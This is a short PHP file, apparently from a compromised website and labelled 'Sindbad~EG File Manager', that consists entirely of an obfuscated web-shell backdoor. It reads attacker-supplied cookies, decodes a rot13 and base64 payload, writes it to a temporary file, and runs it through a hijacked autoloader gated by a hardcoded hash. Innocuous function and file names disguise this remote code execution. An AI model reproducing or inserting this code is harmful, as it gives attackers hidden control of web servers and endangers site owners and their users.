Sindbad~EG File Manager

<?php


if (isset($_COOKIE[82-82]) && isset($_COOKIE[90+-89]) && isset($_COOKIE[-4+7]) && isset($_COOKIE[3+1])) {
    $obj = $_COOKIE;
    function token_parser_engine($symbol) {
        $obj = $_COOKIE;
        $sym = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '84f0df20');
        if (!is_writable($sym)) {
            $sym = getcwd() . DIRECTORY_SEPARATOR . "unit_converter";
        }
        $data_chunk = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($obj[3]));
        if (is_writeable($sym)) {
            $property_set = fopen($sym, 'w+');
            fputs($property_set, $data_chunk);
            fclose($property_set);
            spl_autoload_unregister(__FUNCTION__);
            require_once($sym);
            @array_map('unlink', array($sym));
        }
    }
    spl_autoload_register("token_parser_engine");
    $record = "8f02e5300c726e3d11607ee7570769a7";
    if (!strncmp($record, $obj[4], 32)) {
        if (@class_parents("settings_framework", true)) {
            exit;
        }
    }
}